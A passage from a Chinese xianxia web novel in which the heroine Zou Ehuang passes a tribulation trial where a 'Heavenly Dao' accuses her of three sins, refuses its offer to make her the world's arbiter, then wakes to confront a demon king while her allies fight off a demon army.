若真有,尹婉想,千年拔不出剑的就不该是那位勤勉出名的邹娥皇。 哎不对,好像邹娥皇拔出来了。 她一走神,对面的妖王便怒了。 “找死。” 久俊抹了把天机子自爆时溅在他身上的血色,冷冷的獠牙呲出。 狂风自久俊双翼中扇出,一瞬间寒风刺骨的妖气冲着七彩阁那几位人比花娇的姑娘席卷而去。 曲轻云持剑要拦,却终究来不及。 “嘶——” 众人纷纷不忍去看。 下一瞬,却只见尹婉赤手迎风,撕开了这一击。 七彩阁女子的素手向来只藏在赤色飘逸的红绫之下,因而众人都极少见到过她们赤手空拳的时刻。 如今骤然瞥见,于是才觉得哑然。 唯见茧子与细碎的裂口,映在那双属于女子的巧手上,显得有几分的触目惊心。 而这硬硬的茧子正往下滴血,在撕开风刃后,很快又撑开了一片淡白色的结界。 结界之下,正好护住了七彩阁的几个姑娘。 被庇护在结界内的尹芝猛地看向这个内门最讨厌的长老。 是的,尹芝内门最讨厌的长老。 七彩阁绝大多数长老要么性情豪爽,要么性情温婉,若尹婉只是拧巴些倒还好,关键是还忒刻薄,尹芝永远记得当时她和隔壁门派的一人眉来眼去,险些就要发展出一段美妙恋情的时候,就是被这婉长老面色铁青地阻拦了。 事后还让尹芝多跪了三个月的思过墙。 尹芝从没想过,这样一个古怪刻薄,传说中因为被人辜负所以要拆散天下有情人的尹婉长老,在这一刻居然能撑在这里,像天一样,像阁主一样。 “长老,我能做什么?” 尹芝颤着声音问。 尹婉瞥了眼尹芝,摇了摇头,恶声道:“小孩子滚一边去。” 然而无论尹婉表现的如何硬气,尹芝都知道,以合道之力对付妖王,连勉强二字都算不得,落败就是时间问题罢了。 甚至都不需要久俊三击,尹芝便看到尹婉的身形塌了下去,只是这结界微荧,竟还在亮着。 尹芝这辈天之骄子大多数都未参与过二十年前的妖族入侵。 也就是说,他们未曾真正地经历过战场。平时下秘境也好,门派内大比也罢,林林总总,究竟也只是人和人之间的厮杀。 既然是人,就带点人的体面。 但是现在,这群初出茅庐的骄子们,还没经过幻海天的打磨,就先直面了妖的血腥。 平时他们信以为天的长老,无所不能的长老,呼风唤雨的长老,正接连一个个以血肉模糊的方式倒在他们身边—— 惨死的天机子最后发出的那声长啸仿佛犹在尹芝耳边,七彩阁众人正是因为听到了这声长啸才会赶至此处。 尹芝不愿意见到自家长老挺到最后也落得那么一个下场。 尹芝捏着手里传不出去信的通灵玉,心里想,如果是阁主在这里会怎么办,如果是阁主在这里—— 她不知道。 可是她知道,平常和她一样的青度、曲轻云一流,如今顶在最前面,只有她现在还在别人的庇护下。 明明她也是大师姐。 “长老,我要出去和它们杀个不死不休,放我出去!” 尹芝红着眼就要往结界外面冲。 “放你个屁——” 却被对方干脆利落地一个手刀打昏,只听尹婉咬牙骂道:“什么关头了,还和那不靠谱的阁主学,给老娘添乱!” 然而骂了几句后,尹婉的背又往下佝了几度,连结界都变得忽暗忽明地往下落。 尹婉咳出了几口血,听见身后弟子哀哀戚戚的哭声,眉头直跳,又咬着牙撑了起来。 “哭、哭、哭!” “就知道哭,一天天的丧门,哭有个屁用!” 很快,尹婉骂不动了,她嗬嗬喘着气,破风从嗓子里挤出,五脏肺腑都皱缩成一团,然后忽然,尹婉的眼睛睁得极大,她看见那个和她纠缠了前半生爱恨,从来只爱自己的男人—— “肖贵!” 就这样地倒在了血泊里。 那张丑脸再也不会沉默地吓人了。 而他死前做的最后一件事,就是把浑身精血混入了迷阵,此刻迷阵一放出,四周魑魅魍魉俱在哭嚎,妖族和人族都被掩藏在迷雾之下,久俊和妖族的攻势不得不转停。 “咳咳——” 尹婉又呕出了一口污血。 尹婉恨恨想:连这个窝囊废现在都死的这样漂亮,老娘只会比他更牛掰! “尹平,尹媖,尹林,再把尹芝也给我打醒,过来给我传灵气!” 尹婉咬牙道:“只要…撑…撑下去,救援很快就会到了。” 然而尸骸遍野,苟活的几人彼此对望一眼,无不心知肚明——远的不说,单说上次密州变乱,十四盟整整耗了一天,才与内部取得联系,这次小小的逍遥门,封锁的消息真的能传出去么? 忽然,轰隆隆地几声响,平地炸在众人耳边。 久俊惊疑不定,雷声,哪里来的雷声,谁在渡劫,既然有雷声,天雷呢? 它抬头,很快就找到了答案,视线一缩。 天雷落在遮天蔽日的星盘上,将牢不可破的星盘打出了几条细微的裂缝。 …… 巍峨的通天路。 邹娥皇仰头的时候,发现自己竟这样的渺小。 她定了定心,踏上了第一阶台阶。 周围的景色飞速地撤去,原本还有一些白茫茫的雪,如今却变得郁郁葱葱,天阶两旁伸出了无数繁树的枝桠,远处好像还有虫鸟的闻啼声。 黑夜褪去,白昼复来。 白昼变暗,月上树梢。 邹娥皇不知道走了多久,眼前的道路却好像还是那么地长,一眼望去,几乎没有什么尽头。 第一轮昼夜交替的时候,她开始觉得口渴。 第十日的时候,她开始怀疑这条路究竟能不能登顶。 慢慢地,邹娥皇的速度越来越慢。 她听见风里传来吓人的野兽咆哮,也看见树枝落下阴森鬼魅的影子。 就在这个时候,她忽然想起了五千年前的那一天。 那一日。 她身穿修真界。 面前正是这样的山。 知道她以凡人之躯登顶苍云山顶的人无不啧啧称奇,觉得她真是有大毅力的人。 其实不是的。 当你背后有一群邪修琢磨着是把你清蒸还是红烧,接着你发现自己居然穿进了会打个响指就能点火的世界的时候,任何人的第一反应都是跑的。 跑的越远越好。 而恰好当时邹娥皇面前就有一座山。 于是她跑了进去。 至于后来,她那倔脾气上来了,发誓要把这座山当泰山爬完,都是后话了。 邹娥皇只记得,当时自己饥肠辘辘,终于从山底跑到山顶,还在思考下山之后会不会再撞上那群怪人的时候,就看见衣袍翩翩的道祖,弯着眉微笑地看着她。 “咚——”地一声,深沉而悠远的钟声忽于此刻响起。 记忆收束,邹娥皇再一看四周,云雾缭绕,脚下的台阶不知何时也变成了苍云山顶,面前飘着一个“蓬莱道祖”。 邹娥皇觉得新奇。 自从云无心说自己大限将至后,就鲜少以这样一幅青年面容示人了,连邹娥皇都忘了她师父当年也是个玉面仙君。 “这是我的回忆么?” 邹娥皇情不自禁地走了上去,然而在触摸到道祖衣袖的下一秒,眼前的青年时期道祖就忽然地变成了一团雾气散了个干净。 天地间,又响彻了一声钟声。 “此乃审判之台,凡渡劫神境者,要在此台审判终身,若你有罪,则前程尽毁,若你无罪,则天道恭贺,助尔渡劫。” “吾乃天道。” “邹娥皇,年五千零三十七岁,杀一人一妖,改生灵者命万万为记,触发大天雷三百四十七道,中天雷三千” 天际上,传来了一阵雌雄莫辨的仙音。 安逸的仙山忽然变成了森森炼狱,无数枷锁与冤魂自天而降,似乎要将邹娥皇钉死在地上。 “细数你这一生,小罪不断,小善亦多,一报还一报,吾不欲和你相计,然大罪有三,你可认罪?” 邹娥皇咬着牙道:“什么罪,说来看看!” 她仰着头,膝盖被钉子几乎要捅成窟窿了,却还在那里撑着——好像只要她还有一口气,这膝盖就永远都碰不到地上一般。 似乎是觉得很好笑,邹娥皇忍着抽痛扯了扯唇,朝天喊道:“渡劫神境不是我的心魔劫么,不要模仿我师父的声音说话。” 真是见鬼。 邹娥皇想,她自己也是现在才知道,原来她最惧怕的声音是蓬莱道祖的,一听就觉得好像被戒尺打了浑身发疼。 “第一重罪乃不孝之罪!” “蓬莱道祖带你入仙途,明己身,你是如何报答他的,明知蓬莱覆灭在先,为何不肯打杀了方半子那孽障!明知道祖命途有尽,为何九转肉灵芝不肯为他备着,道祖生你养你一场——” “你为何总要叫他担忧,总要叫他见你浑身是血,泥里跌爬!” 天上的仙音一句一句逐渐放重,好似真的是蓬莱道祖在这里诘问邹娥皇一般,此刻空中又凭空幻化出了三把剑。 “你若认这第一罪,便接了这三把剑,在自己丹田双足的位置钉住,也算赎罪。” 邹娥皇忍着身上不知何时突然被套上的枷锁,慢慢抚摸那三把剑,接着一袖荡开,只拣了最后一把。 明晃晃的“不孝”二字刻在这剑柄上。 也映在邹娥皇的眼底。 “何为不孝?” 她轻声呢喃,似乎是在和这渡劫神境里那雌雄莫辨的“天道”对话。 “正因道祖教我明己身,教我剑不可轻易动,打磨我轻狂性子,让我学会忍耐,我才不愿把一腔害怕怨愤发泄于一个牙牙稚子。第一剑,我不接。” “而第二剑,道祖开山道义是我心应我万死不辞,若是道祖眼里,活着是他的愿望,那便是拿我心头血作药引子,我也给得。” “可偏偏偏偏厌倦这岁月长的人是他自己。而道祖若志在长命,那也断断养不出一个傻娥皇为别人的死活去抛头颅。” 邹娥皇的声音不自觉地有些哽咽了。 她举着第三剑,毫不犹豫地钉进了自己的丹田。 这剑是这三剑里最重,也是最锋芒的一剑。 “而第三剑,邹娥皇认。” 认不孝之罪,认自己愧对师父。 方才突如其来的枷锁并没有让她流出半分血,然而这一剑之下,邹娥皇终于感受到了那股锥心之痛从下腹涌出。 “道祖带我入仙途,识乾坤之大,可怜我却将全部眼界都放在了草木之深,叫他老人家晚年还要担惊受怕,不得安枕,此罪,我认。” “但我不悔。” 女子的声音掷地有声。 天边,那雌雄莫辨的声音也顿住了,好似叹出了一口长气一般。 “你你——” 邹娥皇的身骨如石樽,只是立在那里,膝盖仍是那个半跪不跪的姿势。 其实说来也怪,当一个人对一件东西失而复得后,她总会特别珍惜,就比如说邹娥皇,她其实并不觉得自己是一个多么有风骨宁折不弯的人,但是当她想到她这刚刚才失而复得的剑骨的时候,她就不愿意向这莫名其妙的天道下跪。 “罢了,第一重罪也就罢了。那么第二重之罪,你可认?” 天边的声音微沉,这个时候它并没有再用道祖的声音了,而是选择了一个很沉稳的男音。 邹娥皇听出来了,是何言知的声音。 “什么罪。” 邹娥皇耷拉着眉眼。 唯见此刻阴森的炼狱场忽然又一变,面无表情的宴霜寒从她眼前持剑而过,很快宴霜寒的身影散去,笑吟吟的何言知也出现了,手里把玩着两枚棋子,然后也慢慢散开。 “你为一人一剑,毁剑心,此番莫非对得起你的剑么?你识人不清,为机关算尽者赔上几千年修为,此番对得起你自己么?对自己不重者,当下九狱,受五马分尸之行!” “邹娥皇,你可认!” 邹娥皇身上骤然一轻,无数枷锁此刻尽数褪去,但是手脚与脖颈也在此刻被拴上了链子,五匹马蓄势待发。 邹娥皇被迫仰头看着天。 “认?” 她轻声问。 黑白分明的眼珠盯着顶头那片天,仿佛要这样盯出个窟窿来。 “对,只要你认此罪,虽要受五马之刑,然而此刑过后,便是前怨尽消,你还是可以渡过渡劫神境,成为大乘。” 天边的声音循循善诱。 邹娥皇只是无所谓的扯了扯锁链,她觉得栓的她脖子疼。 “不认。” “这世上不会有比我更爱自己的人了。” 她道。 天边的声音再度传来,相比之前的怒不可遏,这次它困惑不解,“你你何曾爱重过自己,如果爱重自己,二十年前的大旱你就不会舍得一身剐去救人,上个月的密州,那个死而复生之人根本不该活,你何曾爱重过自己,邹娥皇你可知,你曾拥有的一切,曾足矣让你飞升。” “错了。” 邹娥皇平静地回。 “爱自己的方式,不止有把金玉镶在自己身上,不止有把所有东西都堆砌成自己的修为。” “我来这里五千年,曾经我很困惑的一件事,直到现在我也很困惑。人们到底因为求仙得到了什么,又因为求仙失去了什么。在我原来的那个时间,没有灵力,每个人只能活须臾百岁,可是百姓安居,国家兴亡,民族繁盛。” “在这个世界,明明有了灵力,也有了科学,甚至很多词语和我那个世界亦有共同之处,可是大家好像都变了。” “王权存不存在居然要寄托于虚无缥缈的运势上面,儒家的圣人竟也和我想的不一样,墨庄居然不是那个兼爱非攻的墨家,而是另一层披着百家布行善的修者,所有词好像熟悉,但其实不过只是披了层伪装的纱。” “我来的世界不存在一人牵动万人生死,但是这个世界,可以,只要你是修士,那么凡人,便不再是人,难道只是因为这里曾是一本书么。” “大家拼了命的修炼,可是到底在修什么。” 邹娥皇用和天道一样困惑的语气,讥诮反问道:“你说我不自爱,不自重,恰恰相反,我觉得我素来最爱重自己。” “我爱重自己,所以肯信自己的感情凌驾于世俗的评判,肯为了自己的心意付诸代价去救活一个人,如果修为和己心之间有天平的话,我的心一定是重若千钧的那个,我的修为只是鸿毛。” “比起身外之物,我更怕的是自己后悔。” 这一次天道良久的沉默了。 在天际声音传来第三重罪之前,那五匹马连带着阴寒的锁链就已经从原地消失。 邹娥皇被重重摔在地上,接着揉揉手腕又站了起来。 她在等第三重罪。 许久,天际的声音再度响起,这一次却是霸气侧漏的女音。 是尹月的声音。 “邹娥皇,第三重罪,戏谑他人真心,你可认?” 女音戏谑,比起前两个血淋淋的场景,这一次的变化出来的场景堪称是富贵温柔乡,只见金碧辉煌的酒楼摆设,邹娥皇一左一右出现了两位俊美的青年,正扶着她的腰吹寒温暖。 这是搞什么。 邹娥皇想,第三重罪不该是最杀机毕现的那个么。 不对,不重要。 她想,第三重罪怎么会是戏谑他人真心—— 来修真界都寡了五千年了,怎么还能谈得上辜负别人的真心。 “十年前你救姜英,你曾说要当她的眼睛,当她的腿,最后却把人丢给了旁人,可是你做的?” 邹娥皇闭眼扭头,原来是这个意思 她本能地就要为自己辩解,但嘴巴挪动了几下,竟却只干巴巴地说了句对。 “一百年前谢家天火,你从火中救走你的师妹,却将另一个人留在了火海里,你曾说要一辈子当他的好朋友,最后却放任他走上邪修之路,你可知罪?” 邹娥皇觉得背后微微有些流汗了,她撑着笑,答了句是。 谢霖,她确实是有愧。 天际的声音逐渐加重。 “也是同年,你在初进谢家的时候,和一个人约定了正门来战,最后却从小门避他,玩弄他,叫他春心动,叫他悔恨生,你可认?” 邹娥皇咦地摇了摇头,心虚道:“这个,这个人是谁啊,我怎么不记得还有这种事。” “你自然不记得,你没心没肺惯了,活得又久,做什么事全凭喜好,哪里会记得那些年招蜂引蝶多少只。” 天际的声音似乎对于她这样的做派极其不屑,连仿尹月的声音都带了点气愤,“谢雩,谢家二郎,旧年也是位惊才艳艳的人物,倒叫你这人忘了个彻底。” “罢了。” “还有一桩,五千年前天骄宴,你盛装出席,让一人心跳不止,最后两相顾,却是孽缘,你可认。” 邹娥皇说:“天骄宴上,我被打的那样狼狈,你说有人对我一见钟情,认真地么?” “嗬嗬算了,这桩确实不该怪你,怪他自己的眼睛。” “第三重罪,戏谑他人真心,还有最后一人,你曾辜负过。” 天际的女音渐渐地冷了笑意,而邹娥皇身边的温柔富贵乡,此刻也一瞬散去,只剩下了断壁残垣,蜘蛛网在褪了色的朱柱上结丝。 “有那么一个人。” “你喊他师兄,他教你牵丝术。” 邹娥皇心尖一跳,想,怎么还有她师兄的戏份。 而且看这感觉,居然还是重头戏。 容有衡的虚影很快便投落在了一片断壁残垣之上,但这次的虚影和意气风发的蓬莱道祖不同,和高冷自傲的宴霜寒不同,和把玩棋局的何言知不同。 在审判邹娥皇为主的渡劫神境里,只有他一个人的虚影,出现便是跪在地上,无数把剑从他心尖穿过,滴滴嗒嗒的鲜血仿佛是真的一般,一种厚重至极的血腥味扑上了邹娥皇的鼻息。 “邹娥皇,你是异世而来之人,那你便该信前世今生。” “这个人前生未欠你,却是因你而死,旁人都来渡劫神境里期觑仙途,独有他,容有衡,一生真真闯过两次渡劫神境,一次是年少得意,少年气盛。一次是临死之际,以走马灯入吾渡劫神境,和吾谈了一桩生意。” “你好奇么,为何你的师兄待你忽冷忽热。” “你嫉妒么,为何他的修为总是日进千里。” 天道的声音极其地寡淡,又带了点戳人心肺的快意,“天下谁都可以飞升,独他不行。天下谁都可以有来生,独他不行。” “甚至乎,他这假死的二十年,汲汲求生的五千年,也因为你和吾做的那桩生意,清醒的时间愈来愈少。” “邹娥皇,你怎么面色发白了呢。” “你怜悯天下千万人,为何独独他不在此千万人里?” 我我不知道。 邹娥皇迷茫地张口,有什么话即将从口中呼之欲出,但是这次她却总觉得有些什么堵在喉咙里。 “容有衡有罪么,没有,他只是心悦你,可单单心悦你一项,便要让他如此煎熬,邹娥皇,你不该认罪么,若你认罪,便替他接了此代价,好不好?” 这声音忽然又变得柔和起来了,像循循善诱,不断地在邹娥皇耳边吹起。 跪在地上的容有衡也恰到好处地抬起了头,露出了一张艳浮惨白的俏脸。 两相对视,邹娥皇好像真的在这虚影里看见了自己的师兄。 那么可怜、的师兄? 她禁不住摇了摇头,“不对,这很不对。” 天道微微一愣,“什么?” “第一,我师兄若真喜欢我,他为何不直接和我说。” 邹娥皇的眼睛又黑又亮,此刻里面尽是真诚的疑惑和不解,“我师兄光明…磊落,无不良嗜好,容貌绝伦,和宴霜寒共并天骄之位自几千年前起,他若喜欢一个姑娘,何必遮遮掩掩。” “第二,便是你说的都是真的,他做这些事的时候,我并不知情,既然不知情,何来认罪。” 天道听见这傻姑娘,一板一眼地道:“但即便如此我不认罪,可若要我还恩我师兄于我有恩,牵丝术乃他传我,仙门之路,他亦兄亦友,而在我并不知晓的上一世里,我与他定有一份难得的同门之情,才叫他愿为我放弃来世,所以若要我为他接了此代价” “我愿意。” 然而地上容有衡的虚影在这个时候却并没有什么欣喜若狂的表情,只是最后很深很深地看了邹娥皇一眼。 邹娥皇这才注意到,这师兄的虚影,穿的既不是那套不伦不类的散修服,也不是一身黑的怪道袍,是她从没见过的红衣服。 ……怎么会像喜服? 红衣艳艳,才衬得那男人眉眼绝色如画。 而这精巧风流的眉眼,此刻盯着她微微地笑,这笑里面有释怀,还有很多邹娥皇读不懂的决然。 真奇怪——邹娥皇想,怎么会看着这样的一个虚影假像,自己竟觉得有些难受。 而那虚影就在这样的笑下,化成了一阵飘扬的灰。 “真奇怪。” 邹娥皇听见那自诩天道的家伙,发出了和她一样的感慨。 此刻天道难得带了点唏嘘,“你和他都说彼此不是有情人,但是一个个的却都愿意为了对方无来生,嗬,你可知道,那虚影只是他身上压在吾这里的一丝魂魄,但却能反抗吾,自燃魂丝,如此,吾和他的契约便已经开始运转了,你刚刚说的愿意自然也就不算了。这是逼吾啊” 邹娥皇面前的一切景象都在飞速地消失,又变成了她初来的那片雪地,雪地之上,还多了一盘下到一半的棋局。 “恭喜你,邹娥皇。” “师承云无心,蓬莱岛下二弟子,历年五千年,修假根,入歧途,如今渡劫三问,无愧于道,吾欣赏你的初心,承认你的勇气,恩准你过此劫。” 天道的声音,这次再次响彻在邹娥皇耳边的时候,不再是男音,也不再是女音,也不是什么雌雄莫辨。 而是,一种很机械的声音。 不带有任何的情绪、语调。 模糊了一切定义的概念。 它问:“邹娥皇你生气么,吾刚刚说你的那些‘罪’,不觉得荒谬么。” 这家伙居然也知道刚刚那些个问罪越来越荒谬! 邹娥皇咋舌。 但是面上还要给天道几分面子的。 邹娥皇回道:“你是天道,不是个人欲望的载体,是这个世界欲望的载体,你这么给我判罪,只能说明,这个世界就是这么想的。” 邹娥皇听见这个自称天道的忽然笑了。 “你这么说也没错。” “只是,你有没有想过,你可以成为这个世界的裁决者。” “邹娥皇,你的师父或许给你讲过降世书,讲过裁决者的事情,而吾现在要告诉你的是,只要你愿意,或许你就是下一位裁决者,只要你愿意。” “你不怕杀生,但怕有的人不该死,就像你不怕被辜负,只怕自己救了不该活的人。但是现在,吾要告诉你,这世间没有什么该不该,走上前来,接过吾手里的密钥,修复帝王须,你就是下一位裁决者。” “在上一世,吾就该把这样的权利给你了。” 如果换作上一个通过渡劫神境的人——龙主越海,听见天道愿意把裁决者的密钥交给他的话,那么这人多半会兴高采烈地接过。 但是天道却只听见邹娥皇仰头,很平静地盯着那片虚无之地,道:“这也是一轮考验对么?” 然后她右手一翻转,在此渡劫神境里消失许久的厚黑剑,此刻随着她通过渡劫神境,又回到了她的手上。 天道语气赞扬:“你的剑,居然能出现在渡劫神境里。” 邹娥皇回道:“在我看见,你让幻境里的师兄朝我下跪的时候。” “那个时候我便手心痒痒地紧,我想我若手上有一把剑,怎么会让你这么折辱我们师兄妹二人。” “天道,若真有这样的密钥,不该被放在人的手里,这世上本就不该存在裁决者,我又何苦理你,去做别人的主。” 握剑的姑娘身姿坚定不移,跨步上前,只见那黑如曜石的剑,此刻却灿若烈阳,一剑之下,渡劫幻境就此劈开。 …… “她是这么说的?把袖章交给我,让我不计代价守住院子?这把爷爷我当成什么人了!” 越蓬盛死死握着谦立延递给他的袖章,那曾经是他梦寐以求的东西,但是在此刻他竟有些嗤之以鼻。 四面通光的屋子里,一股说不上的愤怒,闪烁在越蓬盛骤缩成点的小眼中。 谦立延微微点头回了声是。 “好、好、好。” 越蓬盛咬牙狠笑。 但很快他又泄气地摊在椅子上——谁能跟一个抱着必死决心托孤的姑娘去生气。 谦立延、孙峰贰两人回来不久后,院子也逐渐被打* 破旧有的平静,先是细嗦嗦的蚊虫声在院外响起,很快又变成了杂乱的脚步声,最后又变成了一声尖锐刺耳的口哨。 坐在邹娥皇塌前的姜印容睁开眼,冷静道:“那是妖界十六军准备冲锋的口号。” 十六妖军在人族并没有什么威望,但如果提起它们的口号,是无人不晓,“战无不胜”这四个字曾经是北海永恒的梦魔,姜印容昔日最棘手的敌人之一,一群没有痛觉、不怕死的鬣狗妖。 只听砰地一声,原本就不算坚固的柴门被撞开,一群又一群举着灵器的鬣狗冲了进来,谦立延视线一顿双手幻化出两条长棍,挥舞着顶了上去。 孙峰贰则抽出了一把砍骨刀,一跃而起。 姜印容神色平静,双手一捏,一片冰墙平地起。 越蓬盛则走到院子里。 他深深吸了一口气。 越蓬盛张开了双臂。 这一刻他身上斑驳的彩衣好像一瞬间变得鲜活了起来,无数蝴蝶挣扎着从衣角的绣脚里破印而出,袖袍鼓风在半空中浮起,衬得越蓬盛细长面容也变得神圣庄严,他开始起舞。 随着他的舞步,脚步试探地迈入院内的妖兽纷纷发出了一阵像被火烧过一样的哀嚎。 软榻上,僵睡了一夜的姑娘终于指尖微动,只见她一瞬黑丝生,一瞬华发尽褪。 但是此刻除了守在她榻前半步未动的姜印容,无人发现她的变化。 姜印容神色微变,轻轻呼出了一口长气。 一柱香烟不知何时起在角落里点燃。 随着这香灰慢慢落下,香柱走到尽头,方才如潮水的妖军也变成了蓄势待发的蹲守。 前面越蓬盛的祝巫之舞已经快要跳到最后一步,他捏着手里的袖章面无表情,这一刻如同真正的大地附身一样,浑身上下都闪着褐色荧光。 宽大的袖袍迎风鼓动,四面八方都涌起了莫名的气流,此刻他彩衣翩然若蝶。 尽管这祝巫之舞的效果显著,可是鬣狗妖组成的十六军毕竟号称战无不胜,死了一个还有数以万计的鬣狗妖,越蓬盛知道自己已经抵挡不了多久了。 不止是他。 谦立延、孙峰贰、姜印容…还有那个临阵“托孤”的青度如果在这里,也撑不住。 越蓬盛仰起头,空气中已经有了几分湿意。 只能用那招了。 他有个秘密,祝巫之术是他从蓬莱的古书里习得的,从来没有人看见过他跳到最后一步,因为这最后一步就是死亡。 阴阳有衡,生机有限,以己之死,换众之生。 挂在他身上的鼓被锤的愈来愈快,此刻院外跃跃欲试的妖兽也变得愈来愈躁动,镇魂兽发出一声嚎叫,就要跳过去叼走鼓槌,下一瞬却被孙峰贰瞬移摁在怀里。 镇魂兽虽是神兽,然而和蓬莱岛签了契约,离开蓬莱之后除了坐骑之用,实力比普通的小妖高不了不少。 “你不想他跳吗?”孙峰贰捏着神兽的软爪,又缩地成寸移到墙外,左手一刀一个妖兽,血溅在他的半张脸上,孙峰贰自问自答:“我也不想。” “可这是他自己的选择,这个时候我们都不能干扰他。” 谦立延乜了一眼这个鼻涕眼泪都打转儿的搭档,心说,这不是我的台词么——十年前,主公即将单枪匹马去冰山之顶战世家狗辈,孙峰贰这小子一把鼻涕一把泪地抱着主公的腿不肯走,谦立延就是这么劝孙峰贰的。 没想到现在用来劝一头呜咽的小神兽了。 忽然,狂啸的风声停了。 越蓬盛一直活蹦乱跳的脚也不动了。 而院子内的光芒大涨,这穿着夸大祝衣的少年如同一根筷子一样立在原地,而在他双手高举之下,无风无云,被星盘遮蔽天机的高天,这一刻居然破了个小洞。 越蓬盛咬破舌尖,一滴鲜红的血从他舌尖蹦出,飘在空中,瞬间所有人的身形都凝滞了。 这是最后一步,用命定契。 此契之后,以自己魂飞烟灭,滋养土地为代价,换这片院子几日的安宁。 走到这一步,再无活路。 越蓬盛闭眼,他还这样的年轻,但也因为他是这样的年轻,所以跳前面九十九步的时候,其实并不怕死,直到最后一步,越蓬盛才开始产生了惧意。 他还这样年轻,难道就真的要命赔在这里么? 难道真的就没什么活路可走了么? 视线里的一切都在变得昏黄,这个时候后悔也来不及了,于是越蓬盛闭眼,开始等待生命的终章,白光从他的舞衣里飘出,墙外一圈又一圈的妖兽,一个个的倒地。 就在众人都以为他必死的当口,忽然有一柄剑嗖地穿耳而过,打断了这段祝舞。 “头好晕。” 越蓬盛惊然回头,却只看见软榻上一直躺着的人呻吟着起身,素手撑起半额,微并的双指还停留在半空里。 “年纪轻轻,怎么就跳这种舞,不要命啦?” 邹娥皇哑着声问,她刚从渡劫神境里醒来,对外遭发生的一切还有些模糊,环视一圈后愣了:“什么情况?” “青度呢——” 然而此刻却无人回答邹娥皇,姜印容怔怔地看着面前的人:“你你醒了” “逍遥门和妖族勾结,星盘封锁了此地,消息传不出去” 面前的人分明还是姜印容在梦里不断描摹过几百遍的模样,但是却已经截然不同了,以前的邹娥皇浑身上下一身黑,丢进人群里便如大海捞针,而现在的邹娥皇—— 说不上哪里不一样,可哪里都好像变了。 让人情不自禁地想把目光聚集在她身上。 邹娥皇向姜印容微微一点头,一步一步走到最前面,她踏过妖族的尸体,缩成小兽大小的镇魂兽嗷呜一声跳上了她的肩膀,包着背上的黑剑的薄布不知道何时已经散去。 妖族,从某一方面来说,还是很识时务者为俊杰的。 之前之所以那么不要命的攻击,不过也是因为这群鬣狗闻着味,知道这里只是色厉内茬,可如今邹娥皇只是一出现,它们便尽数褪去。 战无不胜,不过也是没有遇到降维打击。 邹娥皇对着地上颤颤巍巍四只爪子撑在地上,已经在威压之下被迫显露出毛绒绒脑袋的妖兽露出了一个和煦的笑。 “给你三秒钟的时间思考。” 她低声说,“是死还是带我去见你们妖王。” 鬣狗妖连连磕头,果断的选择了后者。 另一厢,僵持的迷雾阵终有时效,尹婉咬牙,如今在场撑着的长老不过也就剩她和东方皓轩,哪怕一直不曾认命过的尹婉,此刻也禁不住悲哀地咬住唇。 恐怕今日就是要命丧于此了。 尹婉怕死,她这一生还没活够。 她这一生这么精彩,从没想过有一天居然要她这样的死法。 腥味仿佛要从结界外渗进来,尹婉闭眼,一滴清凉的泪伴着血缓缓流入了她的嘴巴里,泛着涩涩的苦味,耳朵灼烧,已经听不见身后呜咽的哭声了。 然而在结界即将破碎,迷阵散开的那一刹那,一片狼藉里,尹婉居然看见了昨夜戏台上扮丑的蓬莱女修。 尽管对方白发变黑,但她还是一眼就认出来了。 不要命了么? 尹婉心惊胆战地想,在这个当口,居然敢主动暴露于迷阵之外,明晃晃的朝着那妖王走去,若不是艺高人胆大,就是不知天高地厚一心求死。 修真界从来没听过有这么位高手。 多半是不知道什么状况就冒头的。 尹婉终于反应过来,急切嘶喊道:“回来,快回来,那是妖王——” “哐当”一声,青度斩开身前的妖将,双手失力,看着那一步一步走向久俊的身影。 是师伯? 青度双眼迸出喜色与担忧。 …邹娥皇掏了掏耳朵,她步履不急不缓,每一步都格外从容,而这种从容在这样的生死之际,毫无疑问是刺眼的。 至少对于久俊来说。 它不高兴地眯了眯眼,双翅一震就出现在邹娥皇前行的路上。 邹娥皇停下了脚步。 “蓬莱岛邹娥皇,幸会妖王。” 久俊目光慢慢从对方身上划开,落在邹娥皇背在背后的厚剑上,陈述道:“你是个剑修。” “你剑的本命神通是什么?” 狂风席卷,而女子寸步未动。 邹娥皇微笑礼貌地抬头,盯着久俊:“你不需要知道。” 久俊脸色蓦然一沉。 那女子笑吟吟将手放到背后的剑上,一片火光四溅里,众人清晰地听见她轻飘飘地说: “杀你,一剑足矣。” 用不上什么本命神通。 只见她背手抽剑,那一瞬间天地风云变幻。 她问妖王:“为何偷袭人界?” 第66章 从此剑仙不更名 为何偷袭人界。 邹娥皇问久俊的话顺着星盘传到何言知耳畔。 朗朗高空之上, 何言知面无表情地盯着流血不止的手,耀眼的星盘发出阵阵华光,比起一日前无疑已经多了十几条裂纹, 如今浮在逍遥门之上。 方才地下众人听到的雷声从来不是幻觉,死在渡劫神境里的人,大多数就是死在这样的天雷之下的,天道问心若过不去最多就是境界后退, 伴着这渡劫神境的八十一道天雷,那才是要人命的东西。 正所谓因果总有报,谁说这老天不长眼。阴差阳错, 邹娥皇的天雷尽数落在了张开星盘的何言知身上。 “……” 何言知盯着不远处身长玉立的身影, 语气微嘲:“你师妹,还是那么的天真。” 问一个妖王为何偷袭人界,就像是问屠夫为何杀猪。 容有衡闻声轻哼, 手中的短匕若隐若现。 关于这家伙为什么此刻出现在这里, 还要从几日前说起。 那日容有衡下山后,占了个十四盟散修的名额去幻海天, 虽然和蓬莱几人并不同行, 但是出于某种不可言说的心理,容有衡并未离开众人寸步。 于是,当何言知降临逍遥门的时候,手里的星盘刚刚运转出来,就看见了这位不速之客。 “我刚刚一直在想, 脾气乖张如你,怎么见到我会笑。” 何言知捂着左手的血, “原来是你早就知道,小邹的天雷劫, 会落在我身上。” “密州相遇的时候,你见到我收起了星盘的遮掩显露阵容,我便误忘了你会星盘术,但其实想想,星盘之术,牵星转斗,本就是你们蓬莱的拿手绝活,你容有衡怎么可能不会。” “所以从你帮助小邹复活我的那一刻开始,你就已经算到了我的今天。” 容有衡啧了一声,颇不耐烦:“这东西需要星盘算么,欠债还钱,天经地义,你算的了天道规则,难不成还能算过人心么。” “另外,”容有衡微微一笑,手中的短匕应声飞向何言知。 “别把我想得跟你一样,三两心机还要处处卖弄。” 这短匕破空顺风而行。 何言知神色微凛。 附着在他十指上的几个字也随之漂浮在虚空中,只见这墨迹蜿蜒走势如蛇的字,砰地绞住了短匕厮杀。 容有衡的短匕神出鬼没,在修真界是出了名的无敌手。 不可轻敌,何言知想。 但是事情走向出乎他的意料。 匕首上逼人的寒光先于半道一转,摆脱开了耀武扬威的墨字,下一秒直直地坠入了早有裂痕的星盘。 只听得咔嚓一声。 